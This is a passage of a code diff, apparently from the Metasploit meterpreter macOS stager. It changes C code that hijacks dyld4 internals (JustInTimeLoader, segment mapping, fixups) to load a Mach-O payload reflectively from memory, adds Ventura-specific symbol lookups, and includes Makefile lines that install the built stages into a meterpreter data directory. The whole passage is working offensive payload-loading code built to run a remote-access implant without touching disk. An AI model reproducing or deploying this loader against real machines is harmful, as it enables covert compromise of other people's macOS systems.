cp aarch64_osx_stage_debug ../../../../../data/meterpreter/aarch64_osx_stage
|
||||
|
||||
x64_shellcode: install
|
||||
otool -tv x64_osx_stage
|
||||
|
||||
aarch64_shellcode: install
|
||||
otool -tv aarch64_osx_stage
|
||||
|
||||
clean:
|
||||
rm -f *.o main_osx
|
||||
rm -f *.o x64_osx_stage aarch64_osx_stage x64_osx_stage_debug aarch64_osx_stage_debug
|
||||
|
||||
|
||||
+317
-185
@@ -1,3 +1,4 @@
|
||||
|
||||
/*
|
||||
* References:
|
||||
* @parchedmind
|
||||
@@ -184,6 +185,19 @@ struct LoadOptions
|
||||
Missing pathNotFoundHandler;// = nullptr;
|
||||
};
|
||||
|
||||
struct InitialOptions
|
||||
{
|
||||
bool inDyldCache;// = false;
|
||||
bool hasObjc;// = false;
|
||||
bool mayHavePlusLoad;// = false;
|
||||
bool roData;// = false;
|
||||
bool neverUnloaded;// = false;
|
||||
bool leaveMapped;// = false;
|
||||
bool roObjC;// = false;
|
||||
bool pre2022Binary;// = false;
|
||||
};
|
||||
|
||||
|
||||
struct Loaded {
|
||||
void* _allocator;// = nullptr;
|
||||
void* * elements;// = nullptr;
|
||||
@@ -234,18 +248,25 @@ typedef NSModule (*NSLinkModule_ptr)(NSObjectFileImage objectFileImage, const ch
|
||||
typedef NSSymbol (*NSLookupSymbolInModule_ptr)(NSModule module, const char *symbolName);
|
||||
typedef void * (*NSAddressOfSymbol_ptr)(NSSymbol symbol);
|
||||
|
||||
typedef /*Loader*/void * (*JustInTimeLoaderMake_ptr)(void *apis, void *ma, const char* path, const struct FileID * fileId, uint64_t sliceOffset, bool willNeverUnload, bool leaveMapped, bool overridesCache, uint16_t overridesDylibIndex);
|
||||
typedef /*Loader*/void * (*JustInTimeLoaderMake_ptr)(void *apis, void *ma, const char* path, const struct FileID * fileId, uint64_t sliceOffset, bool willNeverUnload, bool leaveMapped, bool overridesCache, uint16_t overridesDylibIndex, uint64_t layout);
|
||||
typedef /*Loader*/void * (*JustInTimeLoaderMake2_ptr)(void *apis, void *ma, const char* path, const struct FileID * fileId, uint64_t sliceOffset, bool willNeverUnload, bool leaveMapped, bool overridesCache, uint16_t overridesDylibIndex);
|
||||
typedef void * (*AnalyzeSegmentsLayout_ptr)(void *ma, uintptr_t * vmSpace, bool * hasZeroFill);
|
||||
typedef void * (*VMAllocate_ptr)(uint64_t target_task, void * address, uint64_t size, int flags);
|
||||
typedef void * (*VMDeallocate_ptr)(uint64_t target_task, void * address, uint64_t size);
|
||||
typedef void * (*WithRegions_ptr)(void *ma, void * callback);
|
||||
//typedef uint32_t (*DependentDylibCount_ptr)(void *ma, bool * alldepsarenormal);
|
||||
//typedef bool (*HasPlusLoad_ptr)(void *ma);
|
||||
typedef void * (*MMap_ptr)(void * sdg, void *addr, size_t length, int prot, int flags, int fd, uint64_t offset);
|
||||
void * memcpy2(void *dest, const void *src, size_t len);
|
||||
typedef void * (*Mprotect_ptr)(void * sdg, void * dst, uint64_t length, int prot);
|
||||
typedef void (*WithLoadersWriteLock_ptr)(void *apis, void * callback);
|
||||
//typedef void * (*LoaderLoader_ptr)(void * loader, const struct InitialOptions *, bool prebuilt, bool prebuiltApp, bool prebuiltIndex);
|
||||
typedef void (*LoadDependents_ptr)(void *topLoader, const struct diagnostics * diag, void * apis, const struct LoadOptions * lo);
|
||||
//typedef bool (*EnforceFormat_ptr)(void * ma, int malformed);
|
||||
typedef void (*RunInitializers_ptr)(void *topLoader, void * apis);
|
||||
typedef void * (*HandleFromLoader_ptr)(void *loader, bool firstOnly);
|
||||
typedef void (*IncDlRefCount_ptr)(void *apis, void * topLoader);
|
||||
//typedef void (*AddLoader_ptr)(void *apis, void * topLoader);
|
||||
typedef void (*NotifyLoad_ptr)(void * apis, struct ArrayOfLoaderPointers * newLoaders);
|
||||
typedef void (*NotifyDebuggerLoad_ptr)(void * apis, const struct ArrayOfLoaderPointers * aolp);
|
||||
typedef void (*ApplyFixups_ptr)(void * ldr, const struct diagnostics * diag, void * apis, struct DyldCacheDataConstLazyScopedWriter * dcd, bool b);
|
||||
@@ -256,7 +277,6 @@ typedef bool (*HasThreadLocalVariables_ptr)(void * ma);
|
||||
typedef void (*SetUpTLVs_ptr)(void * ma, void * apis);
|
||||
typedef void (*AddWeakDefs_ptr)(void * apis, void * newLoaders);
|
||||
|
||||
typedef uint64_t (*SimpleDPrintf_ptr)(uint64_t fd, const char * fmt, const void * a);
|
||||
|
||||
uint64_t find_macho(uint64_t addr, unsigned int increment);
|
||||
uint64_t find_dylib(uint64_t addr, unsigned int increment);
|
||||
@@ -269,7 +289,16 @@ uint64_t roundUp(uint64_t numToRound, uint64_t multiple);
|
||||
//#define DEBUG
|
||||
#ifdef DEBUG
|
||||
static void print(char * str);
|
||||
#define printf(a,b) print(a);
|
||||
#include "printf/printf.h"
|
||||
void _putchar(char character) {
|
||||
char t[2];
|
||||
t[0] = character;
|
||||
t[1] = 0;
|
||||
print(t);
|
||||
}
|
||||
#else
|
||||
#define print(a)
|
||||
#define printf(a,b)
|
||||
#endif
|
||||
|
||||
|
||||
@@ -278,20 +307,23 @@ static void print(char * str);
|
||||
|
||||
int main(int argc, char** argv)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
print("main!\n");
|
||||
#endif
|
||||
uint64_t buffer = 0;
|
||||
uint64_t buffer_size = 0;
|
||||
#ifdef __aarch64__
|
||||
__asm__(
|
||||
"mov %0, x12\n"
|
||||
"mov %1, x10\n"
|
||||
: "=r"(buffer), "=r"(buffer_size));
|
||||
#else
|
||||
__asm__(
|
||||
"movq %%r10, %0;\n"
|
||||
"movq %%r12, %1;\n"
|
||||
: "=g"(buffer), "=g"(buffer_size));
|
||||
|
||||
#ifdef DEBUG
|
||||
print("hello world!\n");
|
||||
#endif
|
||||
|
||||
print("hello world!\n");
|
||||
|
||||
int sierra = detect_sierra();
|
||||
uint64_t binary = DYLD_BASE_ADDR;
|
||||
uint64_t dyld;
|
||||
@@ -341,9 +373,7 @@ int main(int argc, char** argv)
|
||||
}
|
||||
NSCreateObjectFileImageFromMemory_func = find_symbol(dyld, "_NSCreateObjectFileImageFromMemory", offset);
|
||||
}
|
||||
#ifdef DEBUG
|
||||
print("good symbol!\n");
|
||||
#endif
|
||||
|
||||
// gDyld is a special struct that libdyld.dylib uses to interface with dyld4.
|
||||
// gDyld is not present in dyld3 and back.
|
||||
@@ -351,142 +381,128 @@ int main(int argc, char** argv)
|
||||
//printf("gDyld: %lld\n", gDyld);
|
||||
void * addr_main = 0;
|
||||
if (gDyld != 0) {
|
||||
#ifdef DEBUG
|
||||
print("gDyld found, using dual hijack technique.\n");
|
||||
#endif
|
||||
// Also known as the RuntimeState or Allocator.
|
||||
void* apis = ((struct libdyldDyld4Section*)gDyld)->apis;
|
||||
#ifdef DEBUG
|
||||
printf("apis: %lld\n", apis);
|
||||
printf("config: %i\n", (int)*(void **)(apis+8));
|
||||
#endif
|
||||
printf("config: %lld\n", *(void **)(apis+8));
|
||||
// config is offset around 0x100000 from the start of dyld4.
|
||||
uint64_t base = roundUp((uint64_t)(*(void **)(apis+8) - 0x00100000), 0x1000);
|
||||
#ifdef DEBUG
|
||||
printf("base: %lld\n", base);
|
||||
#endif
|
||||
// sdyld will be the address of dyld4, which contains mangled symbols.
|
||||
uint64_t sdyld = find_macho(base, 0x1000);
|
||||
#ifdef DEBUG
|
||||
uint64_t offset2 = sdyld;
|
||||
printf("sdyld: %lld\n", sdyld);
|
||||
#endif
|
||||
JustInTimeLoaderMake_ptr JustInTimeLoaderMake_func = find_symbol(sdyld, "__ZN5dyld416JustInTimeLoader4makeERNS_12RuntimeStateEPKN5dyld313MachOAnalyzerEPKcRKNS_6FileIDEybbbt", sdyld);
|
||||
while (!JustInTimeLoaderMake_func) {
|
||||
MMap_ptr MMap_func = find_symbol(sdyld, "__ZNK5dyld415SyscallDelegate4mmapEPvmiiim", offset2);
|
||||
while (!MMap_func) {
|
||||
sdyld = find_macho(sdyld + 0x1000, 0x1000);
|
||||
if (sdyld == 1) {
|
||||
#ifdef DEBUG
|
||||
print("failed.\n");
|
||||
#endif
|
||||
return 1;
|
||||
}
|
||||
//printf("Dyld: %lld\n", sdyld);
|
||||
JustInTimeLoaderMake_func = find_symbol(sdyld, "__ZN5dyld416JustInTimeLoader4makeERNS_12RuntimeStateEPKN5dyld313MachOAnalyzerEPKcRKNS_6FileIDEybbbt", sdyld);
|
||||
MMap_func = find_symbol(sdyld, "__ZNK5dyld415SyscallDelegate4mmapEPvmiiim", offset2);
|
||||
}
|
||||
//printf("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld));
|
||||
//printf("JITLMP: %lld\n", JustInTimeLoaderMake_func);
|
||||
SimpleDPrintf_ptr SimpleDPrintf_func = find_symbol(sdyld, "__simple_dprintf", sdyld);
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "SimpleDPrintf_func: %lld\n", SimpleDPrintf_func);
|
||||
#endif
|
||||
//printf("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", offset2));
|
||||
JustInTimeLoaderMake_ptr JustInTimeLoaderMake_func = find_symbol(sdyld, "__ZN5dyld416JustInTimeLoader4makeERNS_12RuntimeStateEPKN5dyld313MachOAnalyzerEPKcRKNS_6FileIDEybbbt", offset2);
|
||||
JustInTimeLoaderMake2_ptr JustInTimeLoaderMake2_func = 0;
|
||||
bool ventura = false;
|
||||
if (!JustInTimeLoaderMake_func) {
|
||||
offset2 = offset;
|
||||
ventura = true;
|
||||
MMap_func = find_symbol(sdyld, "__ZNK5dyld415SyscallDelegate4mmapEPvmiiim", offset2);
|
||||
JustInTimeLoaderMake2_func = find_symbol(sdyld, "__ZN5dyld416JustInTimeLoader4makeERNS_12RuntimeStateEPKN5dyld39MachOFileEPKcRKNS_6FileIDEybbbtPKN6mach_o6LayoutE", offset2);
|
||||
}
|
||||
if (ventura) {
|
||||
print("Ventura!\n");
|
||||
}
|
||||
//printf("SimpleDPrintf_func: %lld\n", SimpleDPrintf_func);
|
||||
printf("Errno: %lld\n", *(uint64_t*)find_symbol(sdyld, "_errno", offset2));
|
||||
// Loader::mapSegments
|
||||
uintptr_t vmSpace = 0;
|
||||
bool hasZeroFill;
|
||||
AnalyzeSegmentsLayout_ptr AnalyzeSegmentsLayout_func = find_symbol(sdyld, "__ZNK5dyld313MachOAnalyzer21analyzeSegmentsLayoutERyRb", sdyld);
|
||||
#ifdef DEBUG
|
||||
print("Analyzing Segments.\n");
|
||||
#endif
|
||||
*(uint32_t*)buffer = 0xfeedfacf;
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "Buffer: %lld\n", buffer);
|
||||
#endif
|
||||
AnalyzeSegmentsLayout_func((void*)buffer, &vmSpace, &hasZeroFill);
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "vmSpace: %lld\n", vmSpace);
|
||||
#endif
|
||||
printf("Buffer: %lld\n", buffer);
|
||||
if (ventura) {
|
||||
// MachOFile =~= MachOAnalyzer
|
||||
AnalyzeSegmentsLayout_ptr AnalyzeSegmentsLayout_func = find_symbol(sdyld, "__ZNK5dyld39MachOFile21analyzeSegmentsLayoutERyRb", offset2);
|
||||
print("Analyzing Segments.\n");
|
||||
AnalyzeSegmentsLayout_func((void*)buffer, &vmSpace, &hasZeroFill);
|
||||
} else {
|
||||
AnalyzeSegmentsLayout_ptr AnalyzeSegmentsLayout_func = find_symbol(sdyld, "__ZNK5dyld313MachOAnalyzer21analyzeSegmentsLayoutERyRb", offset2);
|
||||
print("Analyzing Segments.\n");
|
||||
AnalyzeSegmentsLayout_func((void*)buffer, &vmSpace, &hasZeroFill);
|
||||
};
|
||||
printf("vmSpace: %lld\n", vmSpace);
|
||||
bool isTranslated = false; // Rosetta.
|
||||
uint64_t extraAllocSize = 0;
|
||||
if ((*(uint64_t **)(apis + 8))[0x7c] != 0) {
|
||||
isTranslated = true;
|
||||
#ifdef DEBUG
|
||||
print("Rosetta.\n");
|
||||
#endif
|
||||
// TODO: Rosseta requires a bit more space...
|
||||
extraAllocSize = 0x0;
|
||||
}
|
||||
vmSpace += extraAllocSize;
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "Translated: %s\n", isTranslated ? "true" : "false");
|
||||
#endif
|
||||
printf("Translated: %s\n", isTranslated ? "true" : "false");
|
||||
uintptr_t loadAddress = 0;
|
||||
VMAllocate_ptr VMAllocate_func = find_symbol(sdyld, "_vm_allocate", sdyld);
|
||||
uint64_t mach_task_self = *(uint64_t*)find_symbol(sdyld, "_mach_task_self_", sdyld);
|
||||
VMAllocate_ptr VMAllocate_func = find_symbol(sdyld, "_vm_allocate", offset2);
|
||||
uint64_t mach_task_self = *(uint64_t*)find_symbol(sdyld, "_mach_task_self_", offset2);
|
||||
void * vmallocate_ret = VMAllocate_func(mach_task_self, &loadAddress, vmSpace, /*VM_FLAGS_ANYWHERE: */0x1);
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "VMAllocate Ret: %lld\n", vmallocate_ret);
|
||||
SimpleDPrintf_func(1, "LoadAddress: %lld\n", loadAddress);
|
||||
#endif
|
||||
printf("VMAllocate Ret: %lld\n", vmallocate_ret);
|
||||
printf("LoadAddress: %lld\n", loadAddress);
|
||||
// Put regions together...
|
||||
// JustInTimeLoader::withRegions via MachOAnalyzer::getAllSegmentsInfos
|
||||
WithRegions_ptr WithRegions_func = find_symbol(sdyld, "__ZN5dyld416JustInTimeLoader11withRegionsEPKN5dyld313MachOAnalyzerEU13block_pointerFvRKNS1_5ArrayINS_6Loader6RegionEEEE", sdyld);
|
||||
WithRegions_ptr WithRegions_func = 0;
|
||||
if (ventura) {
|
||||
WithRegions_func = find_symbol(sdyld, "__ZN5dyld416JustInTimeLoader11withRegionsEPKN5dyld39MachOFileEU13block_pointerFvRKNS1_5ArrayINS_6Loader6RegionEEEE", offset2);
|
||||
} else {
|
||||
WithRegions_func = find_symbol(sdyld, "__ZN5dyld416JustInTimeLoader11withRegionsEPKN5dyld313MachOAnalyzerEU13block_pointerFvRKNS1_5ArrayINS_6Loader6RegionEEEE", offset2);
|
||||
};
|
||||
WithRegions_func((void*)buffer, ^(struct ArrayOfRegions * rptr) {
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "Region Ptrs: %lld\n", rptr);
|
||||
SimpleDPrintf_func(1, "usedCount: %lld\n", rptr->_usedCount);
|
||||
SimpleDPrintf_func(1, "allocCount: %lld\n", rptr->_allocCount);
|
||||
#endif
|
||||
printf("Region Ptrs: %lld\n", rptr);
|
||||
printf("usedCount: %lld\n", rptr->_usedCount);
|
||||
printf("allocCount: %lld\n", rptr->_allocCount);
|
||||
uint32_t segIndex = 0;
|
||||
uint64_t sliceOffset = 0;
|
||||
uint64_t lastOffset = 0;
|
||||
for (int i = 0 ; i < rptr->_usedCount; i++) {
|
||||
const struct Region region = rptr->_elements[i];
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "Region vmOffset: %lld\n", region.vmOffset);
|
||||
SimpleDPrintf_func(1, "Region perms: %lld\n", region.perms);
|
||||
SimpleDPrintf_func(1, "Region isZeroFill: %lld\n", region.isZeroFill);
|
||||
SimpleDPrintf_func(1, "Region readOnlyData: %lld\n", region.readOnlyData);
|
||||
SimpleDPrintf_func(1, "Region fileOffset: %lld\n", region.fileOffset);
|
||||
SimpleDPrintf_func(1, "Region fileSize: %lld\n", region.fileSize);
|
||||
printf("Region vmOffset: %lld\n", region.vmOffset);
|
||||
printf("Region perms: %lld\n", region.perms);
|
||||
printf("Region isZeroFill: %lld\n", region.isZeroFill);
|
||||
printf("Region readOnlyData: %lld\n", region.readOnlyData);
|
||||
printf("Region fileOffset: %lld\n", region.fileOffset);
|
||||
printf("Region fileSize: %lld\n", region.fileSize);
|
||||
print("----\n");
|
||||
#endif
|
||||
if ( region.isZeroFill || (region.fileSize == 0) )
|
||||
continue;
|
||||
if ( (region.vmOffset == 0) && (segIndex > 0) )
|
||||
continue;
|
||||
int perms = region.perms;
|
||||
MMap_ptr MMap_func = find_symbol(sdyld, "__ZNK5dyld415SyscallDelegate4mmapEPvmiiim", sdyld);
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld));
|
||||
SimpleDPrintf_func(1, "Addr: %lld\n", (void*)(loadAddress + region.vmOffset));
|
||||
SimpleDPrintf_func(1, "Size: %lld\n", (size_t)region.fileSize);
|
||||
SimpleDPrintf_func(1, "Perms: %lld\n", region.perms);
|
||||
SimpleDPrintf_func(1, "Flags: %lld\n", MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS);
|
||||
SimpleDPrintf_func(1, "FD: %lld\n", (int)-1);
|
||||
SimpleDPrintf_func(1, "Offset: %lld\n", (size_t)(sliceOffset + region.fileOffset));
|
||||
#endif
|
||||
printf("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", offset2));
|
||||
printf("Addr: %lld\n", (void*)(loadAddress + region.vmOffset));
|
||||
printf("Size: %lld\n", (size_t)region.fileSize);
|
||||
printf("Perms: %lld\n", region.perms);
|
||||
printf("Flags: %lld\n", MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS);
|
||||
printf("FD: %lld\n", (int)-1);
|
||||
printf("Offset: %lld\n", (size_t)(sliceOffset + region.fileOffset));
|
||||
// MMap will init this with zeros.
|
||||
void* segAddress = MMap_func(*(void **)(apis+ 8), (void*)(loadAddress + region.vmOffset), (size_t)region.fileSize, PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
lastOffset = loadAddress + region.vmOffset + region.fileSize;
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld));
|
||||
SimpleDPrintf_func(1, "Buffer: %lld\n", buffer);
|
||||
SimpleDPrintf_func(1, "BufferO: %lld\n", buffer + sliceOffset + region.fileOffset);
|
||||
#endif
|
||||
printf("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", offset2));
|
||||
printf("Buffer: %lld\n", buffer);
|
||||
printf("BufferO: %lld\n", buffer + sliceOffset + region.fileOffset);
|
||||
memcpy2(segAddress, (const void *)(buffer + sliceOffset + region.fileOffset), (size_t)region.fileSize);
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld));
|
||||
#endif
|
||||
Mprotect_ptr Mprotect_func = find_symbol(sdyld, "__ZNK5dyld415SyscallDelegate8mprotectEPvmi", sdyld);
|
||||
printf("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", offset2));
|
||||
Mprotect_ptr Mprotect_func = find_symbol(sdyld, "__ZNK5dyld415SyscallDelegate8mprotectEPvmi", offset2);
|
||||
Mprotect_func(*(void **)(apis+ 8), segAddress, (size_t)region.fileSize, perms);
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "SegAddress: %lld\n", segAddress);
|
||||
SimpleDPrintf_func(1, "Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld));
|
||||
#endif
|
||||
printf("SegAddress: %lld\n", segAddress);
|
||||
printf("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", offset2));
|
||||
++segIndex;
|
||||
}
|
||||
});
|
||||
// Okay, we should be good to go with JustInTimeLoader::make.
|
||||
// __ZNK5dyld39MachOFile11installNameEv: ""
|
||||
WithLoadersWriteLock_ptr WithLoadersWriteLock_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState20withLoadersWriteLockEU13block_pointerFvvE", sdyld);
|
||||
// We cannot use __block as it corrupts the stack, so we have to use a malloc technique to pass data.
|
||||
uintptr_t structspace = 0;
|
||||
uint64_t structspacesize = sizeof(void *)+ // rtopLoader
|
||||
@@ -496,59 +512,46 @@ int main(int argc, char** argv)
|
||||
sizeof(struct LoadChain)+ // loadChain
|
||||
sizeof(struct LoadOptions)+ // depOptions
|
||||
sizeof(struct diagnostics); // diag
|
||||
int initialoptionsoffset = structspacesize;
|
||||
VMAllocate_func(mach_task_self, &structspace, structspacesize, 0x1);
|
||||
uint64_t * rtopLoader = (uint64_t *)(structspace);;
|
||||
WithLoadersWriteLock_func(apis, ^(){
|
||||
if (ventura) {
|
||||
struct Loaded * loaded = (struct Loaded*)(apis+32);
|
||||
uintptr_t startLoaderCount = loaded->size;
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "Loaded Size: %lld\n", loaded->size);
|
||||
SimpleDPrintf_func(1, "Loaded first: %lld\n", (loaded->elements));
|
||||
SimpleDPrintf_func(1, "Loaded Capacity: %lld\n", loaded->capacity);
|
||||
#endif
|
||||
printf("Loaded Size: %lld\n", loaded->size);
|
||||
printf("Loaded first: %lld\n", (loaded->elements));
|
||||
printf("Loaded Capacity: %lld\n", loaded->capacity);
|
||||
struct FileID * fileid = (struct FileID *)(rtopLoader+sizeof(void *));// = { 0, 0, false };
|
||||
fileid->iNode = 0;
|
||||
fileid->modTime = 0;
|
||||
fileid->isValid = false;
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "Apis: %lld\n", apis);
|
||||
SimpleDPrintf_func(1, "LoadAddress: %lld\n", loadAddress);
|
||||
SimpleDPrintf_func(1, "JITLMP: %lld\n", JustInTimeLoaderMake_func);
|
||||
#endif
|
||||
void * topLoader = JustInTimeLoaderMake_func(apis, (void *)loadAddress, "", fileid, 0, false, true, false, 0);
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "TopLoader: %lld\n", topLoader);
|
||||
SimpleDPrintf_func(1, "Toploader (*(int*)this): %i\n", *(int *)topLoader);
|
||||
SimpleDPrintf_func(1, "Loaded Size: %lld\n", loaded->size);
|
||||
SimpleDPrintf_func(1, "Loaded Capacity: %lld\n", loaded->capacity);
|
||||
#endif
|
||||
printf("Apis: %lld\n", apis);
|
||||
printf("LoadAddress: %lld\n", loadAddress);
|
||||
printf("JITLMP: %lld\n", JustInTimeLoaderMake_func);
|
||||
void * topLoader = JustInTimeLoaderMake2_func(apis, (void *)loadAddress, "A", fileid, 0, false, true, false, 0);
|
||||
printf("TopLoader: %lld\n", topLoader);
|
||||
printf("Toploader (*(int*)this): %i\n", *(int *)topLoader);
|
||||
printf("Loaded Size: %lld\n", loaded->size);
|
||||
printf("Loaded Capacity: %lld\n", loaded->capacity);
|
||||
struct PartialLoader * pl = (struct PartialLoader *)topLoader;
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "LoadAddress: %lld\n", pl->mappedAddress);
|
||||
SimpleDPrintf_func(1, "lateLeaveMapped: %lld\n", pl->lateLeaveMapped);
|
||||
SimpleDPrintf_func(1, "hidden: %lld\n", pl->hidden);
|
||||
SimpleDPrintf_func(1, "Magic: %lld\n", pl->magic);
|
||||
SimpleDPrintf_func(1, "IsPrebuilt: %lld\n", pl->isPrebuilt);
|
||||
#endif
|
||||
printf("LoadAddress: %lld\n", pl->mappedAddress);
|
||||
printf("lateLeaveMapped: %lld\n", pl->lateLeaveMapped);
|
||||
printf("hidden: %lld\n", pl->hidden);
|
||||
printf("Magic: %lld\n", pl->magic);
|
||||
printf("IsPrebuilt: %lld\n", pl->isPrebuilt);
|
||||
pl->lateLeaveMapped = 1;
|
||||
pl = (struct PartialLoader *)topLoader;
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "lateLeaveMapped: %lld\n", pl->lateLeaveMapped);
|
||||
#endif
|
||||
printf("lateLeaveMapped: %lld\n", pl->lateLeaveMapped);
|
||||
struct LoadChain * loadChainMain = (struct LoadChain *)(fileid+sizeof(struct FileID));// = { 0, *(void **)(apis+24) };
|
||||
loadChainMain->previous = 0;
|
||||
loadChainMain->image = *(void **)(apis+24);
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "mainExecutableLoader: %lld\n", *(void **)(apis+24));
|
||||
SimpleDPrintf_func(1, "mainExecutableLoader: %lld\n", loadChainMain->image);
|
||||
#endif
|
||||
printf("mainExecutableLoader: %lld\n", *(void **)(apis+24));
|
||||
printf("mainExecutableLoader: %lld\n", loadChainMain->image);
|
||||
struct LoadChain * loadChainCaller = (struct LoadChain *)(loadChainMain+sizeof(struct LoadChain));// = { &loadChainMain, &(loaded->elements[0]) };
|
||||
loadChainCaller->previous = &loadChainMain;
|
||||
loadChainCaller->image = &(loaded->elements[0]);
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "LoadedElements: %lld\n", &(loaded->elements[0]));
|
||||
SimpleDPrintf_func(1, "Toploader (*(int*)this): %i\n", *(int *)topLoader);
|
||||
#endif
|
||||
printf("LoadedElements: %lld\n", &(loaded->elements[0]));
|
||||
printf("Toploader (*(int*)this): %i\n", *(int *)topLoader);
|
||||
struct LoadChain * loadChain = (struct LoadChain *)(loadChainCaller+sizeof(struct LoadChain));// = { &loadChainCaller, topLoader };
|
||||
loadChain->previous = &loadChainCaller;
|
||||
loadChain->image = topLoader;
|
||||
@@ -559,102 +562,187 @@ int main(int argc, char** argv)
|
||||
depOptions->canBeDylib = true;
|
||||
depOptions->rpathStack = loadChain;
|
||||
depOptions->useFallBackPaths = true;
|
||||
LoadDependents_ptr LoadDependents_func = find_symbol(sdyld, "__ZN5dyld46Loader14loadDependentsER11DiagnosticsRNS_12RuntimeStateERKNS0_11LoadOptionsE", sdyld);
|
||||
LoadDependents_ptr LoadDependents_func = find_symbol(sdyld, "__ZN5dyld46Loader14loadDependentsER11DiagnosticsRNS_12RuntimeStateERKNS0_11LoadOptionsE", offset2);
|
||||
struct diagnostics * diag = (struct diagnostics *)(depOptions+sizeof(struct LoadOptions));
|
||||
diag->_buffer = 0;
|
||||
LoadDependents_func(topLoader, diag, apis, depOptions);
|
||||
if (diag->_buffer != 0) {
|
||||
#ifdef DEBUG
|
||||
print("Error\n");
|
||||
#endif
|
||||
};
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "buffer: %lld\n", diag->_buffer);
|
||||
SimpleDPrintf_func(1, "startLoaderCount: %lld\n", startLoaderCount);
|
||||
#endif
|
||||
printf("buffer: %lld\n", diag->_buffer);
|
||||
printf("startLoaderCount: %lld\n", startLoaderCount);
|
||||
uint64_t newLoadersCount = loaded->size - startLoaderCount;
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "newLoadersCount: %lld\n", newLoadersCount);
|
||||
#endif
|
||||
printf("newLoadersCount: %lld\n", newLoadersCount);
|
||||
void * * newLoaders = &loaded->elements[startLoaderCount];
|
||||
struct ArrayOfLoaderPointers newLoadersArray = { newLoaders, newLoadersCount, newLoadersCount };
|
||||
if (newLoadersCount != 0) {
|
||||
NotifyDebuggerLoad_ptr NotifyDebuggerLoad_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState18notifyDebuggerLoadERKN5dyld35ArrayIPKNS_6LoaderEEE", sdyld);
|
||||
NotifyDebuggerLoad_ptr NotifyDebuggerLoad_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState18notifyDebuggerLoadERKNSt3__14spanIPKNS_6LoaderELm18446744073709551615EEE", offset2);
|
||||
NotifyDebuggerLoad_func(apis, &newLoadersArray);
|
||||
if (*(char *)(apis + 0x7f) != '\0') {
|
||||
AddWeakDefs_ptr AddWeakDefs_func = find_symbol(sdyld, "__ZN5dyld46Loader16addWeakDefsToMapERNS_12RuntimeStateERKN5dyld35ArrayIPKS0_EE", sdyld);
|
||||
AddWeakDefs_ptr AddWeakDefs_func = find_symbol(sdyld, "__ZN5dyld46Loader16addWeakDefsToMapERNS_12RuntimeStateERKNSt3__14spanIPKS0_Lm18446744073709551615EEE", offset2);
|
||||
AddWeakDefs_func(apis, &newLoadersArray);
|
||||
#ifdef DEBUG
|
||||
print("WeakRefed\n");
|
||||
#endif
|
||||
}
|
||||
ApplyFixups_ptr ApplyFixups_func = find_symbol(sdyld, "__ZNK5dyld46Loader11applyFixupsER11DiagnosticsRNS_12RuntimeStateERNS_34DyldCacheDataConstLazyScopedWriterEb", sdyld);
|
||||
ApplyFixups_ptr ApplyFixups_func = find_symbol(sdyld, "__ZNK5dyld46Loader11applyFixupsER11DiagnosticsRNS_12RuntimeStateERNS_34DyldCacheDataConstLazyScopedWriterEb", offset2);
|
||||
struct DyldCacheDataConstLazyScopedWriter dcdclsw = { apis, false };
|
||||
for (int i = 0; i != newLoadersCount; ++i) {
|
||||
#ifdef DEBUG
|
||||
print("Fixing Up!\n");
|
||||
#endif
|
||||
void * ldr = newLoaders[i];
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "Ldr: %lld\n", ldr);
|
||||
#endif
|
||||
printf("Ldr: %lld\n", ldr);
|
||||
ApplyFixups_func(ldr, diag, apis, &dcdclsw, true);
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "Diag: %lld\n", diag->_buffer);
|
||||
#endif
|
||||
printf("Diag: %lld\n", diag->_buffer);
|
||||
}
|
||||
// TODO: Figure out if we need addPermanentRanges.
|
||||
NotifyDtrace_ptr NotifyDtrace_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState12notifyDtraceERKN5dyld35ArrayIPKNS_6LoaderEEE", sdyld);
|
||||
NotifyDtrace_ptr NotifyDtrace_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState12notifyDtraceERKNSt3__14spanIPKNS_6LoaderELm18446744073709551615EEE", offset2);
|
||||
NotifyDtrace_func(apis, &newLoadersArray);
|
||||
